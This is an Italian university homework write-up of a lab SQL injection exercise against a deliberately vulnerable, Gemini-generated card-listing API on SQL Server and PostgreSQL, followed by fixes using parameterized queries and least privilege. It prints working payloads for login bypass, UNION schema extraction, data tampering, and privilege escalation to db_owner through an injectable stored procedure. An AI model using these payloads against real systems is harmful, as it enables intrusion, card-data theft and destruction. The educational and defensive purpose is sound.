

Sicurezza: Sql injection

Andrea Capitanelli 2060120

Stefano Mostarda 2129683

Questo homework dimostra come utilizzando attacchi di SQL injection di tipo inband, si possano eseguire con successo attacchi volti a violare le caratteristiche CIA di un database.

L'applicazione è composta da due api REST che offrono le seguenti funzionalità: Login e lista di carte di credito. Queste api sono replicate in quanto una coppia usa SQL Server come database e l'altra usa PostgreSQL. Per rendere l'attacco più "realistico", il codice dell'applicazione e la struttura del database sono stati creati sfruttando **Gemini** e durante il prompting, le istruzioni sono state quelle di generare codice che fosse soggetto a SQL injection, ma che cercasse di non rendere la vita semplice a un eventuale attaccante. Il codice generato è stato preso da una terza persona e messo su una macchina nella rete interna senza possibilità di accesso. I database non erano accessibili dall'esterno del server quindi non si potevano recuperare informazioni accedendovi da strumenti come SSMS o pgAdmin.

Injection verso le API

Il punto di partenza per effettuare un attacco è il file OpenApi che espone la lista delle API disponibili e dei loro input e output.

Login tramite tautologia

La prima API è **users/login** che accetta in input un payload JSON che contiene username e password e torna una stringa con il token di autenticazione oppure 404 se i parametri non corrispondono a un utente.

Poiché l'api non fornisce dati del db, ma un token di autenticazione o un NotFound, siamo nel campo della **Blind injection** quindi l'unica cosa che possiamo fare è inviare comandi specifici e verificare se vanno o meno in errore o ci danno risposte sensate. In questo caso abbiamo supposto che l'api validasse username e password sfruttando la seguente query.

```
$"SELECT 1 FROM Users WHERE Username = '{Username}' AND password = '{Password}'"
```

Se l'assunzione fosse stata corretta, una tautologia avrebbe permesso di superare l'autenticazione e ottenere il primo utente restituito dalla query. Poiché l'api prende i dati in

POST tramite un payload JSON con username e password, abbiamo inviato il seguente payload.

```
{
  "username": "'or 1=1--",
  "password": "inutile"
}
```

Come risultato abbiamo ottenuto uno status code 200 e un token JWT. Andando ad analizzare il token, il nome dell'utente era 'GuestUser' che non dava l'idea di essere un amministratore. Per ottenere un token con credenziali superiori, abbiamo provato lo username 'admin' con relative varianti: 'adm', 'superadmin', 'administrator' e così via.

```
{
  "username": "admin'--",
  "password": "inutile"
}
```

Il risultato è stato sempre un 404. A questo punto le possibilità erano due: o non esiste un utente con una di quelle username, oppure la query presunta è sbagliata. Abbiamo quindi cambiato approccio presupponendo che la query fosse a campi invertiti, cioè che verificasse prima la password e poi la username. A questo punto però per estrarre l'utente amministratore correttamente, dovevamo conoscere il nome del campo con la username. Potevamo andare per tentativi, ma abbiamo preferito raccogliere informazioni sul database.

Estrazione della tipologia del database

Il primo passo nella raccolta delle informazioni è stato scoprire la tipologia di database. Abbiamo sfruttato ancora l'api di login iniettando un comando caratteristico del database che volevamo testare.

```
###SQL Server
{
  "username": "' or isnull(null,1)=1--",
  "password": "inutile"
}

###PostgreSQL
{
  "username": "' or version()<>'--",
  "password": "inutile"
}
```

Se l'api restituisce un token, significa che abbiamo lanciato un comando corretto per quel database e quindi abbiamo scoperto il modello, altrimenti lanciamo un comando tipico

dell'altro database. Sebbene questa tecnica non sia perfetta al 100% (ad esempio potrei aver definito in PostgreSQL una funzione personalizzata **isnull** e questo mi porterebbe a pensare che il database in uso è SQL Server), è sicuramente una buona approssimazione. Una volta scoperto il tipo di database, abbiamo sfruttato l'api della lista delle carte per ottenere informazioni sulla struttura del database.

Informazioni sulla struttura del database

L'api che torna la lista delle carte prende in input, tramite querystring, una variabile di nome **text** che contiene una stringa usata come filtro per l'issuer della carta e per il numero. In output restituisce la lista delle carte associate all'utente o tutte le carte nel caso di privilegi da amministratore. Avendo un token legato all'utente, quando passiamo il token all'api, questa torna già le carte legate all'utente loggato. Quest'api però può essere sfruttata per ricavare la struttura del database tramite.

Poiché l'api torna una lista di carte con i campi Number, ExpiryDate e Issuer abbiamo presupposto che la query estraesse solo questi tre campi e che fossero due stringhe e una data. Per prima cosa abbiamo cercato di ottenere i nomi delle tabelle e relativo schema iniettando la seguente stringa.

```
###SQL Server
' UNION ALL SELECT s.name, '2001-01-01', t.name
FROM sys.tables t
JOIN sys.schemas s ON t.schema_id = s.schema_id
--

###PostgreSQL
' UNION ALL SELECT table_schema, '2001-01-01', table_name
FROM information_schema.tables
WHERE table_schema NOT IN ('information_schema',
'pg_catalog')
AND table_type = 'BASE TABLE'
--
```

Il risultato è stato un errore, quindi abbiamo provato tutte le permutazioni dei campi ottenendo però sempre un errore. Abbiamo quindi scritto un programma che partisse dalle seguenti considerazioni:

- SQL Server può avere tabelle con al massimo 1024 colonne, mentre PostgreSQL 1600;
- Visto che estrarre solo tre colonne causa un errore, probabilmente la query estrae un numero maggiore di colonne (per motivi interni o perché gemini ha messo qualche trappola);
- Non si sa nulla sulle colonne in più che vengono estratte (nome, tipo, metadati).

Il programma fa una cosa molto semplice: partendo da 4 e fino a 1600, crea una query SQL che calcola tutte le possibili permutazioni contando di estrarre i tre campi più altri il cui tipo può essere uno tra bit, string, number, json, date, datetime, time, timestamp (considerando anche i null) e così via andando a considerare anche le diverse tipologie di campo per ogni tipo di database. Alla fine, siamo riusciti a ottenere i dati da entrambi i database con le seguenti query.

```

###SQL Server
' UNION ALL SELECT s.name, null, '2001-01-01', 1, t.name
FROM sys.tables t
JOIN sys.schemas s ON t.schema_id = s.schema_id--

###PostgreSQL
' UNION ALL SELECT null, null, null, null, s.name,
  '2001-01-01', t.name
FROM information_schema.tables
WHERE
  table_schema NOT IN ('information_schema', 'pg_catalog')
  AND table_type = 'BASE TABLE'--

```

###Output SQL Server

dbo	2001-01-01	Users
dbo	2001-01-01	Cards

###Output PostgreSQL

public	2001-01-01	Users
public	2001-01-01	Cards

Qui abbiamo scoperto che le tabelle a cui l'applicazione ha accesso sono due. Abbiamo quindi provato a modificare la query precedente per estrarre anche nome e tipologia delle colonne concatenando i valori con un carattere '-' per ottenere tutte le informazioni in sole due colonne della query.

```

###SQL Server
' UNION ALL
SELECT
  s.name + '-' + t.name,
  null,
  '2001-01-01',
  1,
  c.name + '-' +
  Convert(varchar(10), c.max_length) + '-' +
  Convert(varchar(10), c.is_nullable)
FROM sys.columns c
JOIN sys.tables t ON c.object_id = t.object_id
JOIN sys.schemas s ON t.schema_id = s.schema_id
JOIN sys.types ty ON c.user_type_id = ty.user_type_id--

```

```

###PostgreSQL
' UNION ALL
SELECT
    NULL, NULL, NULL, NULL,
    s.nspname || '-' || t.relname,
    '2001-01-01',
    c.attname || '-' ||
    CAST(c.attlen AS VARCHAR) || '-' ||
    CASE WHEN c.attnotnull THEN '0' ELSE '1' END
FROM pg_attribute c
JOIN pg_class t ON c.attrelid = t.oid
JOIN pg_namespace s ON t.relnamespace = s.oid
JOIN pg_type ty ON c.atttypid = ty.oid
WHERE c.attnum > 0
    AND NOT c.attisdropped
    AND t.relkind = 'r'
    AND s.nspname NOT IN ('pg_catalog', 'information_schema')--

```

###Output SQL Server

dbo-Users	2001-01-01	Username-100-0
dbo-Users	2001-01-01	Password-100-0
dbo-Users	2001-01-01	FirstName-100-0
dbo-Users	2001-01-01	LastName-100-0
dbo-Cards	2001-01-01	Username-100-0
dbo-Cards	2001-01-01	Number-16-0
dbo-Cards	2001-01-01	Code-3-0
dbo-Cards	2001-01-01	ExpiryDate-3-0
dbo-Cards	2001-01-01	Issuer-50-0

###Output PostgreSQL

public-Users	2001-01-01	Username-1-0
public-Users	2001-01-01	Password-1-0
public-Users	2001-01-01	FirstName-1-0
public-Users	2001-01-01	LastName-1-0
public-Cards	2001-01-01	Username-1-0
public-Cards	2001-01-01	Number-1-0
public-Cards	2001-01-01	Code-4-0
public-Cards	2001-01-01	ExpiryDate-4-0
public-Cards	2001-01-01	Issuer--1-0

L'ultima informazione utile da recuperare è la versione del database. Per questo abbiamo iniettato il seguente comando.

```

###SQL Server
' UNION ALL SELECT @@version,null,'2001-01-02',1,'--

###PostgreSQL

```

```
' UNION ALL SELECT null,null,null,null,version(),
'2001-01-02',''--
```

###Output SQL Server

Microsoft SQL Server 2025 (RTM-CU3) (KB5077896) - 17.0.4025.3 (X64) \n\tFeb 25 2026 20:54:27 \n\tCopyright (C) 2025 Microsoft Corporation\n\tEnterprise Developer Edition (64-bit) on Linux (Ubuntu 24.04.4 LTS) <X64>	2001-01-01
--	------------

###Output PostgreSQL

PostgreSQL 18.0 (Debian 18.0-1.pgdg13+3) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit	2001-01-01
--	------------

Per via della presenza del carattere % nella where originale che andavamo a troncare, venivano restituite anche le carte dell'utente. Per recuperare solo i dati della struttura, abbiamo aggiunto alcuni caratteri alfabetici prima dell'apostrofo iniziale.

A questo punto avevamo tutte le informazioni che mi servivano per provare qualunque tipo di attacco.

Esfiltrazione dei dati

L'esfiltrazione dei dati è stata eseguita nel momento stesso in cui siamo riuscito a bypassare la login in quanto potevamo vedere le carte dell'utente. Tuttavia, ero riuscito a ottenere le carte di un solo utente. Avendo a disposizione l'intera struttura del database, potevamo provare a recuperare l'utente amministratore che aveva verosimilmente accesso a tutte le carte, o cmq provare a impersonare altri utenti provando a "indovinare" la username o creando un programma che con un dizionario di nomi facesse tentativi automatici.

Abbiamo provato di nuovo a impersonare l'utente admin con la seguente query usando molte variazioni di 'admin'.

```
###SQL Server
{
  "username": "' or username = 'admin'--",
  "password": "inutile"
}

###PostgreSQL
{
  "username": "' or nome_utente = 'admin'--",
  "password": "inutile"
}
```

Alla fine abbiamo ottenuto un token per l'utente 'sadm'. Con questo utente abbiamo provato a recuperare le carte e sfruttando l'api senza alcuna manipolazione abbiamo avuto accesso a tutte le carte in quanto l'amministratore poteva vederle tutte.

Avremmo comunque potuto leggere tutte le carte usando una semplice tautologia o aggiungendo una union alla query.

```
###SQL
' or 1=1--

'; SELECT number, null, expirydate, 1, Issuer FROM cards--
```

Corruzione dei dati

Andare a modificare i dati di una tabella una volta conosciuta la struttura diventa semplice usando piggybacked query. Siamo riusciti a inserire una nuova carta, aggiornare una esistente e cancellarne una. Contando che non c'erano tabelle relativi ai ruoli degli utenti, abbiamo presupposto che la capacità di modificare dati fosse affidata all'utente 'sadm' con un controllo direttamente nel codice oppure che non ci fosse proprio un controllo.

```
';UPDATE cards SET code='000'--

';INSERT INTO cards
(username, number, code, expirydate, issuer)
VALUES
('utente', '1234567890123456', '234', '2030-12-31',
'Mastercard')--

'; DELETE cards WHERE number= '1234567890123456'--
```

Corruzione della struttura

Quando si tratta di modificare la struttura del database, il problema è ottenere i privilegi per eseguire i comandi necessari. Se l'utente con cui gira l'applicazione è un utente con poteri di eseguire comandi DDL sul database, allora basta una query piggybacked come visto per le modifiche dei valori di una tabella. Ma se così non è bisogna andare alla ricerca di eventuali backdoor lasciate aperte.

In SQL Server esiste la possibilità di creare stored procedure che vengono eseguite con uno specifico utente del database. Se quell'utente ha privilegi superiori rispetto a quello usato per l'applicazione e se quella stored procedure è soggetta ad injection, si può sfruttare il comando per eseguire comandi malevoli o peggio ancora per elevare i privilegi dell'utente dell'applicazione.

Il primo passo è quello di cercare se esistono stored procedure o funzioni con questa caratteristica sfruttando l'api delle carte per ottenere i dati. La seguente query ritorna le stored procedure, e i loro parametri, che hanno privilegio di esecuzione come dbo.

```
' union all
SELECT
  SCHEMA_NAME(p.schema_id)+'-'+p.name,
  null,
  '2001-01-01',
  1,
  ISNULL(par.name, 'np') + '-' +
  ISNULL(TYPE_NAME(par.user_type_id), '') + '-' +
  CONVERT(varchar, ISNULL(par.max_length, 0))
FROM sys.procedures p
JOIN sys.schemas s
  ON s.schema_id = p.schema_id AND s.name= 'dbo'
LEFT JOIN sys.parameters par
  ON par.object_id = p.object_id AND par.parameter_id > 0
JOIN sys.sql_modules m
  ON p.object_id = m.object_id
WHERE m.execute_as_principal_id = -2--
```

La query ha restituito una stored procedure di nome **GetData** che prende in input un parametro stringa di nome tablename. Se il parametro venisse concatenato con una stringa SQL, si potrebbe tentare un attacco. Abbiamo quindi lanciato i seguenti comandi sempre sfruttando l'api delle carte per ottenere prima il nome dell'utente e poi per elevarne i privilegi a db_owner.

```
### Ottiene il nome dell'utente
' UNION ALL SELECT USER_NAME(),null,'2001-01-01',1,''--

### Aumenta i privilegi dell'utente corrente
'; exec dbo.getdata 'cards; ALTER ROLE db_owner ADD MEMBER
appuser--
```

Il secondo comando è particolare perché sfrutta la vulnerabilità dell'api e verifica se anche la stored procedure è vulnerabile. Poiché la stored procedure è vulnerabile e gira con privilegi di dbo, siamo riusciti ad assegnare all'utente dell'applicazione il privilegio di dbo. A questo punto siamo stati in grado di fare un drop delle tabelle sia sfruttando la vulnerabilità di **GetData**, sia sfruttando la vulnerabilità dell'api.

Mitigazione e Messa in Sicurezza

Dopo aver portato con successo il nostro attacco, abbiamo cominciato a studiare le possibili contromisure. Per neutralizzare gli attacchi descritti e garantire il ripristino dei requisiti CIA, siamo intervenuti su due livelli: la **riscrittura del codice sorgente dell'applicazione (C#/.NET)** e la **restrizione dei privilegi a livello di Database**.

Risoluzione della SQL Injection nel codice dell'applicazione

La causa radice di tutte le injection riscontrate (sia l'autenticazione bypassata nel login, sia l'esfiltrazione/corruzione nella lista carte) risiede nella concatenazione dinamica delle stringhe di input inserite dall'utente senza alcun controllo. La mitigazione consiste nell'adozione rigorosa delle **Query Parametrizzate**.

Grazie alla parametrizzazione, il database prima compila la query e poi al posto dei parametri inserisce i valori inseriti dall'utente trattandoli come semplici dati e non come stringhe che possono essere mischiate con il codice SQL. Il risultato è che qualsiasi input maligno (apici, trattini di commento, comandi UNION e così via) non altera la query SQL ma solo i valori passati ai parametri.

Messa in sicurezza dell'API di login

Il codice vulnerabile che effettuava la concatenazione è stato sostituito con l'uso dei parametri nativi di ADO.NET (`SqlParameter` per SQL Server o `NpgsqlParameter` per PostgreSQL).

```
C#  
  
string query = "SELECT 1 FROM Users WHERE Username = @username  
AND password = @password";  
  
using (var cmd = new SqlCommand(query, connection))  
{  
    cmd.Parameters.AddWithValue("@username", input.Username);  
    cmd.Parameters.AddWithValue("@password", input.Password);  
    using (var reader = await cmd.ExecuteReaderAsync())  
    {  
        if (reader.HasRows) { /* Genera il Token JWT */ }  
        else { return NotFound(); }  
    }  
}
```

A questo punto, l'iniezione del payload `"' or 1=1--"` cercherà un utente il cui username sia letteralmente la stringa `"' or 1=1--"`. Il risultato è che l'autenticazione restituisce correttamente un 404.

Messa in sicurezza dell'API della lista carte

Un primo approccio è stato quello di parametrizzare la query scrivendo il seguente codice.

```
C#
string query = "SELECT * FROM cards WHERE issuer LIKE '@search'";
cmd.Parameters.AddWithValue("@search", text);
```

Tuttavia, il database non capisce che `@search` è una variabile! Di conseguenza, andrà a cercare nel tabellone una carta il cui emittente contiene letteralmente i caratteri `@`, `s`, `e`, `a`, `r`, `c`, `h` tornando così risultati errati.

Se per risolvere il problema sopra avessimo deciso di usare il codice nel riquadro seguente, saremmo tornati ad essere soggetti a Sql Injection avendo semplicemente concatenato l'input. Se l'utente scrivesse l'apice maligno (`aaaa' OR '1'='1'`), quell'apice romperebbe la query e l'attacco riuscirebbe.

```
String query = "SELECT * FROM cards WHERE issuer LIKE '%" +
text + "%'";
```

Anche per l'operatore `LIKE`, l'input non deve mai essere concatenato. Il carattere jolly `%` deve essere unito al valore del parametro lato codice .NET, non nella stringa SQL.

```
C#

string query = "SELECT number, expirydate, issuer FROM cards
WHERE issuer LIKE @search";

using (var cmd = new SqlCommand(query, connection))
{
    cmd.Parameters.AddWithValue("@search", $"{inputText}%");
    using (var reader = await cmd.ExecuteReaderAsync())
    {
        ...
    }
}
```

Le piggybacked queries (es. ; UPDATE..., ; DELETE...) o i tentativi di UNION ALL vengono completamente neutralizzati poiché questo input viene interamente rinchiuso nel parametro.

Implementazione del Principle of Least privilege

Obiettivo della contromisura

L'utilizzo di account amministrativi (come **sa** per SQL Server o **public** per PostgreSQL) all'interno delle stringhe di connessione dell'applicazione consente a un attaccante di sfruttare la SQL Injection per eseguire comandi potenzialmente distruttivi (Data Definition Language - DDL e Data Manipulation Language - DML), quali la manipolazione o cancellazione arbitraria di dati e strutture, o l'elevazione dei privilegi.

Per limitare il "raggio d'azione" di un potenziale attacco, abbiamo applicato il **Principio del Minimo Privilegio (Principle of Least Privilege - POLP)**. Abbiamo creato un utente dedicato, configurato per disporre esclusivamente dei permessi strettamente necessari al corretto funzionamento dell'applicazione, negando qualsiasi operazione di scrittura o modifica sia sui dati che sulla struttura del database.

Configurazione sui DBMS

L'utente è stato censito ed isolato su entrambi i sistemi di gestione di database utilizzati nel progetto, applicando politiche di restrizione dell'accesso al solo schema applicativo.

In SQL Server, l'utente è stato associato al database specifico assegnando esplicitamente il permesso di sola lettura sulle tabelle. In PostgreSQL, l'approccio è stato più granulare, andando a revocare i diritti automatici sullo schema public prima di concedere la sola autorizzazione alla query di selezione.

```
###SQL Server
-- Creazione del login e dell'utente del database
CREATE LOGIN app_reader WITH PASSWORD = 'PasswordSicura123!';
CREATE USER app_reader FOR LOGIN app_reader;
-- Assegnazione del solo privilegio di lettura (SELECT)
ALTER ROLE db_datareader ADD MEMBER app_reader;

-- Restrizione esplicita contro inserimenti o modifiche
indotte da SQLi
DENY INSERT, UPDATE, DELETE TO app_reader;

### PostgreSQL
-- Creazione del ruolo di login
CREATE USER app_reader WITH PASSWORD 'PasswordSicura123!';
```

```
-- Revoca dei privilegi di default sullo schema public per
l'isolamento
REVOKE ALL ON SCHEMA public FROM app_reader;
REVOKE ALL ON ALL TABLES IN SCHEMA public FROM app_reader;

-- Abilitazione mirata alla sola consultazione (SELECT)
GRANT USAGE ON SCHEMA public TO app_reader;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO app_reader;
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON
TABLES TO app_reader;
```

Analisi dei Risultati del Security Testing

Dopo aver apportato le modifiche al database e alla stringa di connessione dell'applicazione, abbiamo replicati i medesimi payload di attacco volti all'inserimento di record arbitrari tramite l'endpoint vulnerabile.

L'esito del test ha evidenziato un mutamento radicale nel comportamento del sistema, tracciabile tramite i registri di errore dell'applicazione:

- Comportamento di SQL Server: il DBMS ha restituito i dati della query originale e non ha eseguito (o ha ignorato l'errore) della query passata tramite la tecnica del piggybacking. Il risultato è che nessun dato è stato alterato.
- Comportamento di PostgreSQL: il motore del DBMS ha intercettato il tentativo di INSERT da parte del modulo applicativo. Rilevando l'assenza dei privilegi necessari per l'utente, Postgres ha bloccato atomicamente l'intera transazione, restituendo il codice di errore nativo 42501: permission denied for table Cards. L'applicazione .NET ha intercettato l'eccezione SQL sollevando un codice HTTP 500 Internal Server Error.
- Verifica dell'integrità del DB: L'ispezione manuale della tabella da parte dell'amministratore ha confermato che nessun dato malevolo è stato memorizzato.

Utilizzo dell'intelligenza artificiale

Sebbene i passi da seguire per condurre questo attacco siano stati tutti decisi da noi, c'è stato un largo uso degli strumenti di intelligenza artificiale in tre fasi.

Come anticipato, la prima fase è quella della creazione dell'applicazione e relativo database.

La seconda fase è stata durante la generazione del codice SQL. Le query sulle tabelle Sys di SQL Server e sulle Information_Schema di PostgreSQL sono infatti state generate da Gemini Pro. Quello che abbiamo fatto è stato poi inserire queste query in un attacco di SQL injection.

La terza fase è stata la generazione del programma per creare le permutazioni dei campi nella SELECT che ricava la struttura del database e che viene passata in input alla api delle carte.